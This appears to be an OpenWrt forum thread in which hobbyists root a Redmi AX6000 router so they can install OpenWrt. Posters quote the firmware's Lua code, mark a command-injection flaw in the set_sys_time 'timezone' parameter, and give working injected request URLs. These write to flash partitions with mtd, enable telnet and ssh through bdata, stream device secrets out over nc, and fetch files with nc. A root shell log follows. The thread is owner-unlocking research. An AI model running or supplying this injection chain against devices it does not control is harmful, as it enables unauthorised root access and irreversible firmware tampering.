I'm a terrible web programmer I still don't know how to contribute to the openwrt community good luck on your journey with these boring hardwers
maybe this link will help you: https://elixir.bootlin.com/linux/latest/source/arch/arm64/boot/dts/mediatek/mt7986a-rfb.dts
BTW: Bananapi BPi-R3 is based on the same chipset.
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=a96382c1bb204698cd43e82193877c10e4b63027
Yes. Bpi r3 is slightly different though in that it’s more of a development board. Still working on device tree for this guy and waiting for my WSON-8 clip to come in.
XDR6088
Here is what I found yesterday in the LUA code:
entry({"api", "misystem", "set_sys_time"}, call("setSysTime"), (""), 173)
function setSysTime()
local result = {
["code"] = 0
}
local time = LuciHttp.formvalue("time")
local timezone = LuciHttp.formvalue("timezone")
local index = tonumber(LuciHttp.formvalue("index") or 0) or 0
XQSysUtil.setSysTime(time, timezone, index)
LuciHttp.write_json(result)
end
function setSysTime(time, tzone, index)
local XQCountryCode = require("xiaoqiang.XQCountryCode")
local XQFunction = require("xiaoqiang.common.XQFunction")
if tzone and not XQFunction.isStrNil(tzone) then
local fs = require("nixio.fs")
local uci = require("luci.model.uci").cursor()
uci:foreach("system", "system",
function(s)
if not XQFunction.isStrNil(s.timezone) then
uci:set("system", s[".name"], "timezone", tzone)
uci:set("system", s[".name"], "webtimezone", tzone)
uci:set("system", s[".name"], "timezoneindex", index)
end
end
)
uci:commit("system")
XQFunction.forkExec("/etc/init.d/timezone restart")
local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
local XQLog = require("xiaoqiang.XQLog")
local isMeshCap = XQFunction.isMeshCap()
if isMeshCap then
local info = {
["cmd"] = "sync_time",
["timezone"] = tostring(tzone),
["index"] = tostring(index or 0),
["tz_value"] = tostring(tzone),
}
local json= require("luci.json")
local j_msg = json.encode(info)
XQLog.log(6," CAP call RE sync timezone msg:" .. j_msg)
-- exploitable vulnerability --------
XQFunction.forkExec("/sbin/whc_to_re_common_api.sh action \'" .. j_msg .. "\'")
-- ----------------------------------
XQFunction.forkExec("/sbin/whc_to_re_common_api.sh whc_sync")
end
end
if not XQFunction.isStrNil(time) and time:match("^%d+%-%d+%-%d+ %d+:%d+:%d+$") then
XQFunction.forkExec("echo 'ok,xiaoqiang' > /tmp/ntp.status; sleep 3; date -s \""..time.."\"")
end
end
function isMeshCap()
local uci = require("luci.model.uci").cursor()
local mode = uci:get("xiaoqiang", "common", "NETMODE") or ""
if mode:match("^whc_cap") then
return true
end
if mode:match("^lanapmode") then
local capmode = getCAPMode()
if capmode == 1 then
return true
end
end
return false
end
function getCAPMode()
local uci = require("luci.model.uci").cursor()
local mode = uci:get("xiaoqiang", "common", "CAP_MODE") or ""
if mode == "ap" then
return 1
end
return 0
end
It is very likely that this vulnerability can be exploited.
First you need to check the correct settings of the router:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/xqnetwork/get_netmode
The netmode
parameter must contain the value 4
. If this is not the case, then the exploit will not work!
Test http request:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20
Vulnerability exploit check:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/sys_log
Download the tar.gz
file from the link specified in the browser.
Unpack tar.gz
and open file data/usr/log/messages
At the very end of the log should be the following:
2022-08-07T14:46:32+01:00 XiaoQiang luci: "timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20"
2022-08-07T14:46:32+01:00 XiaoQiang whc_to_re: {"cmd":"sync_time","tz_value":"
2022-08-07T14:46:32+01:00 XiaoQiang root: hello_world_3333_
If this test works, then to activate TELNET you will need to replace logger
command with this:
-
CMD:
echo pVoAAA== | base64 -d | mtd write - crash
("pVoAAA==" decode to "\xA5\x5A\x00\x00")
Request:http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20echo%20pVoAAA%3D%3D%20%7C%20base64%20-d%20%7C%20mtd%20write%20-%20crash%20%3B%20
reboot -
CMD:
bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit
Request:http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20
-
CMD:
mtd erase crash
Request:http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20
reboot
PS: Only now I do not know how to legaly force the function isMeshCap
to return true
...
Fantastic find!!! Everything worked up to activating telnet. It still returned code 0, but telnet was not enabled. Tried on version 1.2.8 and 1.0.48
Not sure I understand. I double checked the encoding and tried with bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit
(notice the =
), telnet still won't accept my connection (port shows closed).
I also know that the vulnerability is working, http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20
reboots the device
No luck yet, for reference I did bdata show | nc <computer ip> 1234
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20show%20%7C%20nc%20{computer ip}%201234%20%3B%20
rand_key=*redacted*
rand_nonce=*redacted*
SN=*redacted*
color=100
CountryCode=CN
model=RB06
ethaddr=*redacted*
ethaddr_wan=*redacted*
miot_did=*redacted*
miot_key=*redacted*
wl1_ssid=*redacted*
wl0_ssid=*redacted*
telnet_en=0
ssh_en=0
uart_en=0
shows they're still 0 after 3rd reboot. Directly after the command to set bdata, telnet_en and ssh_en are set to 1 but revert to 0 after reboot
It looks like encoding \xa5\x5a\x00\x00 is not working correctly.
dd if=/dev/mtd6 | hexdump -C | nc {computer ip} 1234
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20dd%20if%3D%2Fdev%2Fmtd6%20%7C%20hexdump%20-C%20%7C%20nc%20{computer_ip}%201234%20%3B%20
I get this returned:
00000000 31 39 30 30 ff ff ff ff ff ff ff ff ff ff ff ff |1900............|
00000010 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
*
This works:
1.Write \xa5\x5a\x00\x00
to crash partition (magic bytes)
-
Create magic bytes file (it's very difficult at best to encode raw bytes and send over http):
echo -n -e '\xa5\x5a\x00\x00' > magic_bytes.bin
-
On pc create nc listener:
nc -l 1234 < magic_bytes.bin
-
Copy binary to router:
nc {computer_ip} {port} > /tmp/magic_bytes.bin
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20nc%20{computer_ip}%20{port}%20%3E%20%2Ftmp%2Fmagic_bytes.bin%20%3b%20
-
Write binary to crash partition (mtd6):
cat /tmp/magic_bytes.bin | mtd write - crash
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20cat%20%2Ftmp%2Fmagic_bytes.bin%20%7C%20mtd%20write%20-%20crash%20%3b%20
-
Reboot:
reboot
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20
- Set bdata
-
Enable telnet, ssh and commit:
bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20
-
Reboot:
reboot
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20
- Reset crash partition
- Erase crash partition:
mtd erase crash
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20
Annnnnnd, telnet!
% telnet 192.168.31.1
Trying 192.168.31.1...
Connected to 192.168.31.1.
Escape character is '^]'.
XiaoQiang login:
To get root password, follow same as AX3600: https://github.com/YangWang92/AX6S-unlock/raw/master/unlock_pwd.py
BusyBox v1.25.1 (2022-03-29 17:31:07 UTC) built-in shell (ash)
-----------------------------------------------------
Welcome to XiaoQiang!
-----------------------------------------------------
$$$$$$\ $$$$$$$\ $$$$$$$$\ $$\ $$\ $$$$$$\ $$\ $$\
$$ __$$\ $$ __$$\ $$ _____| $$ | $$ | $$ __$$\ $$ | $$ |
$$ / $$ |$$ | $$ |$$ | $$ | $$ | $$ / $$ |$$ |$$ /
$$$$$$$$ |$$$$$$$ |$$$$$\ $$ | $$ | $$ | $$ |$$$$$ /
$$ __$$ |$$ __$$< $$ __| $$ | $$ | $$ | $$ |$$ $$<
$$ | $$ |$$ | $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$\
$$ | $$ |$$ | $$ |$$$$$$$$\ $$$$$$$$$ | $$$$$$ |$$ | \$$\
\__| \__|\__| \__|\________| \_________/ \______/ \__| \__|
root@XiaoQiang:~#
root@XiaoQiang:~# cat /etc/openwrt_release
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='18.06-SNAPSHOT'
DISTRIB_REVISION='unknown'
DISTRIB_TARGET='mediatek/mt7986'
DISTRIB_ARCH='aarch64_cortex-a53'
DISTRIB_DESCRIPTION='OpenWrt 18.06-SNAPSHOT unknown'
DISTRIB_TAINTS='no-all busybox'
root@XiaoQiang:~# id
uid=0(root) gid=0(root) groups=0(root)
root@XiaoQiang:~# uname -a
Linux XiaoQiang 5.4.150 #0 SMP Tue Mar 29 16:56:29 2022 aarch64 GNU/Linux```
Great! Important discovery.
I was able to make a build of OpenWrt for BananaPi-R3 that was added by @daniel last week, drop into AX6000 u-boot console, tftpboot initramfs-recovery and voila!
BusyBox v1.35.0 (2022-09-05 09:46:47 UTC) built-in shell (ash)
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
OpenWrt SNAPSHOT, r0+20481-09ea1db93b
-----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
root@OpenWrt:/# uname -a
Linux OpenWrt 5.15.64 #0 SMP Tue Sep 6 10:15:48 2022 aarch64 GNU/Linux
OpenWrt running on a Redmi AX6000!
FWIW: on a uart console, spam ctrl-c immediately after power on and you'll drop into u-boot.
I need to get a good start on a dts now. I've already started here, but I'm about at the edge of my knowledge: https://github.com/soxrok2212/openwrt/blob/master/target/linux/mediatek/dts/mt7986a-xiaomi-redmi-router-ax6000.dts
As it stands, it builds but images made with it do not boot.
These will work and no need to use nc (But I didn't write the original.)
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20
reboot
2.http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20
reboot
3.http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20
reboot
I don't know why the nc prompt transmission is complete and all the web pages return code0, but I can't crack it.
@soxrok2212 and @PussAzuki , tell me, in what mode did you have a router when you exploited the vulnerability?
It is defined like this:
uci get xiaoqiang.common.NETMODE
uci get xiaoqiang.common.CAP_MODE
uci get xiaoqiang.common.MESH_VERSION
I'm also interested in this information:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/xqnetwork/get_netmode
netmode
enum:
0 = ???
1 = "wifiapmode"
2 = "lanapmode"
3 = "whc_re"
4 = "whc_cap"
100 = recovery mode
after check, I got this.
Hello! Can anyone see if there is OpenVPN in the stock firmware?
opkg list | grep openvpn
root@XiaoQiang:/# opkg list | grep openvpn
root@XiaoQiang:/#
Negative, sir.
root@XiaoQiang:/# uci get xiaoqiang.common.NETMODE
whc_cap
root@XiaoQiang:/# uci get xiaoqiang.common.CAP_MODE
uci: Entry not found
root@XiaoQiang:/# uci get xiaoqiang.common.MESH_VERSION
4
Thank you! It is a pity of course that OpenVPN is not installed. As I understand it, it's easy not to install it in the stock firmware.